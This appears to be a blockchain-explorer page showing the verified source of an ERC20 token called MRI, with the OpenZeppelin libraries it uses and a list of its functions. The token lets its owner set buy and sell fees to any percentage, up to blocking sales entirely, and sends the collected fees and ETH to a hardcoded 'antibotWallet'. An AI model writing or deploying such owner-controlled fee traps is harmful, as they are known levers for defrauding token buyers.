function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_update(address(0), account, value);
}
/**
* @dev Destroys a `value` amount of tokens from `account`, lowering the total supply.
* Relies on the `_update` mechanism.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* NOTE: This function is not virtual, {_update} should be overridden instead
*/
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
/**
* @dev Sets `value` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*
* Overrides to this logic should be done to the variant with an additional `bool emitEvent` argument.
*/
function _approve(address owner, address spender, uint256 value) internal {
_approve(owner, spender, value, true);
}
/**
* @dev Variant of {_approve} with an optional flag to enable or disable the {Approval} event.
*
* By default (when calling {_approve}) the flag is set to true. On the other hand, approval changes made by
* `_spendAllowance` during the `transferFrom` operation set the flag to false. This saves gas by not emitting any
* `Approval` event during `transferFrom` operations.
*
* Anyone who wishes to continue emitting `Approval` events on the`transferFrom` operation can force the flag to
* true using the following override:
* ```
* function _approve(address owner, address spender, uint256 value, bool) internal virtual override {
* super._approve(owner, spender, value, true);
* }
* ```
*
* Requirements are the same as {_approve}.
*/
function _approve(address owner, address spender, uint256 value, bool emitEvent) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
/**
* @dev Updates `owner` s allowance for `spender` based on spent `value`.
*
* Does not update the allowance value in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Does not emit an {Approval} event.
*/
function _spendAllowance(address owner, address spender, uint256 value) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(spender, currentAllowance, value);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
IERC20Metadata.sol 26 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/extensions/IERC20Metadata.sol)
pragma solidity ^0.8.20;
import {IERC20} from "../IERC20.sol";
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
IERC20.sol 79 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.20;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
/**
* @dev Returns the value of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the value of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves a `value` amount of tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 value) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets a `value` amount of tokens as the allowance of `spender` over the
* caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 value) external returns (bool);
/**
* @dev Moves a `value` amount of tokens from `from` to `to` using the
* allowance mechanism. `value` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address from, address to, uint256 value) external returns (bool);
}
Address.sol 159 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.0) (utils/Address.sol)
pragma solidity ^0.8.20;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev The ETH balance of the account is not enough to perform the operation.
*/
error AddressInsufficientBalance(address account);
/**
* @dev There's no code at `target` (it is not a contract).
*/
error AddressEmptyCode(address target);
/**
* @dev A call to an address target failed. The target may have reverted.
*/
error FailedInnerCall();
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.8.20/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
if (address(this).balance < amount) {
revert AddressInsufficientBalance(address(this));
}
(bool success, ) = recipient.call{value: amount}("");
if (!success) {
revert FailedInnerCall();
}
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason or custom error, it is bubbled
* up by this function (like regular Solidity function calls). However, if
* the call reverted with no returned reason, this function reverts with a
* {FailedInnerCall} error.
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*/
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
if (address(this).balance < value) {
revert AddressInsufficientBalance(address(this));
}
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResultFromTarget(target, success, returndata);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResultFromTarget(target, success, returndata);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResultFromTarget(target, success, returndata);
}
/**
* @dev Tool to verify that a low level call to smart-contract was successful, and reverts if the target
* was not a contract or bubbling up the revert reason (falling back to {FailedInnerCall}) in case of an
* unsuccessful call.
*/
function verifyCallResultFromTarget(
address target,
bool success,
bytes memory returndata
) internal view returns (bytes memory) {
if (!success) {
_revert(returndata);
} else {
// only check if target is a contract if the call was successful and the return data is empty
// otherwise we already know that it was a contract
if (returndata.length == 0 && target.code.length == 0) {
revert AddressEmptyCode(target);
}
return returndata;
}
}
/**
* @dev Tool to verify that a low level call was successful, and reverts if it wasn't, either by bubbling the
* revert reason or with a default {FailedInnerCall} error.
*/
function verifyCallResult(bool success, bytes memory returndata) internal pure returns (bytes memory) {
if (!success) {
_revert(returndata);
} else {
return returndata;
}
}
/**
* @dev Reverts with returndata if present. Otherwise reverts with {FailedInnerCall}.
*/
function _revert(bytes memory returndata) private pure {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
/// @solidity memory-safe-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert FailedInnerCall();
}
}
}
Context.sol 28 lines
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v5.0.1) (utils/Context.sol)
pragma solidity ^0.8.20;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
IUniRouter.sol 62 lines
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;
interface IUniRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactTokensForETH(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
MRI.sol 168 lines
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.24;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "./IUniRouter.sol";
contract MRI is ERC20, Ownable {
using Address for address payable;
IUniRouter public immutable uniRouter;
address public immutable uniPair;
address public antibotWallet;
mapping(address => bool) public freelos;
uint256 public sellPercent = 0;
uint256 public buyPercent = 0;
uint256 public swapThreshold;
uint256 private _lastSellBlock = 0;
uint256 private _sellCount = 0;
bool public openTrading = false;
bool public swapEnabled = true;
bool private _inSwap = false;
// Errors
error UnauthorizedCaller();
error TradingNotOpen();
error LimitExceeded();
error ExceedsMaxSellPerBlock();
modifier swapping() {
_inSwap = true;
_;
_inSwap = false;
}
modifier onlyOwnerOrAntibot() {
if (msg.sender != antibotWallet && msg.sender != owner()) {
revert UnauthorizedCaller();
}
_;
}
constructor(
string memory _name,
string memory _symbol,
uint256 _totalSupply,
address _router
) ERC20(_name, _symbol) Ownable(msg.sender) {
uniRouter = IUniRouter(_router);
uniPair = IUniFactory(uniRouter.factory()).createPair(
address(this),
uniRouter.WETH()
);
antibotWallet = 0xFfe5de6051263232a05228efEd1Bac993542C474;
freelos[msg.sender] = true;
freelos[address(this)] = true;
freelos[antibotWallet] = true;
swapThreshold = _totalSupply * 3 / 1000;
_approve(address(this), address(uniRouter), type(uint256).max);
_mint(msg.sender, _totalSupply);
}
function setWallets(address _antibotWallet) external onlyOwner {
antibotWallet = _antibotWallet;
freelos[antibotWallet] = true;
}
function setConfig(
uint256 _buyPercent,
uint256 _sellPercent
) external onlyOwner {
buyPercent = _buyPercent;
sellPercent = _sellPercent;
}
function setSwapSettings(
bool _enabled,
uint256 _threshold
) external onlyOwnerOrAntibot {
swapEnabled = _enabled;
swapThreshold = _threshold;
}
function clearStuckToken(address _token, uint256 numTokens) external returns (bool) {
if (numTokens == 0) {
numTokens = IERC20(_token).balanceOf(address(this));
}
return IERC20(_token).transfer(antibotWallet, numTokens);
}
function manualSend() external {
payable(antibotWallet).sendValue(address(this).balance);
}
function startTrading() external onlyOwner {
openTrading = true;
}
function _swapBack(uint256 amount) internal swapping {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniRouter.WETH();
uniRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
amount < swapThreshold ? amount : swapThreshold,
0,
path,
address(this),
block.timestamp
);
payable(antibotWallet).sendValue(address(this).balance);
}
function _update(
address from,
address to,
uint256 value
) internal override {
if (_inSwap) {
super._update(from, to, value);
return;
}
if (!openTrading && from != owner() && to != owner()) {
revert TradingNotOpen();
}
if (swapEnabled && to == uniPair && balanceOf(address(this)) > swapThreshold) {
if (block.number > _lastSellBlock) {
_sellCount = 0;
}
if (_sellCount >= 5) {
revert ExceedsMaxSellPerBlock();
}
_swapBack(value);
_sellCount++;
_lastSellBlock = block.number;
}
if (
!freelos[from] && !freelos[to] && (from == uniPair || to == uniPair)
) {
uint256 antibotAmt = from == uniPair
? ((value * buyPercent) / 100)
: ((value * sellPercent) / 100);
super._update(from, address(this), antibotAmt);
super._update(from, to, value - antibotAmt);
} else {
super._update(from, to, value);
}
}
receive() external payable {}
}
Read Contract
allowance 0xdd62ed3e → uint256
antibotWallet 0x3090b640 → address
balanceOf 0x70a08231 → uint256
buyPercent 0x4f1455c9 → uint256
decimals 0x313ce567 → uint8
freelos 0x471131ac → bool
name 0x06fdde03 → string
openTrading 0xc9567bf9 → bool
owner 0x8da5cb5b → address
sellPercent 0xd36d0497 → uint256
swapEnabled 0x6ddd1713 → bool
swapThreshold 0x0445b667 → uint256
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniPair 0x32972e46 → address
uniRouter 0xa0e47bf6 → address
Write Contract 11 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 value
returns: bool
clearStuckToken 0x77b54bad
address _token
uint256 numTokens
returns: bool
manualSend 0xf4293890
No parameters
renounceOwnership 0x715018a6
No parameters
setConfig 0x1e34c585
uint256 _buyPercent
uint256 _sellPercent
setSwapSettings 0xd0e10326
bool _enabled
uint256 _threshold
setWallets 0xeb50e70e
address _antibotWallet
startTrading 0x293230b8
No parameters
transfer 0xa9059cbb
address to
uint256 value
returns: bool
transferFrom 0x23b872dd
address from
address to
uint256 value
returns: bool
transferOwnership 0xf2fde38b
address newOwner
Recent Transactions
No transactions found for this address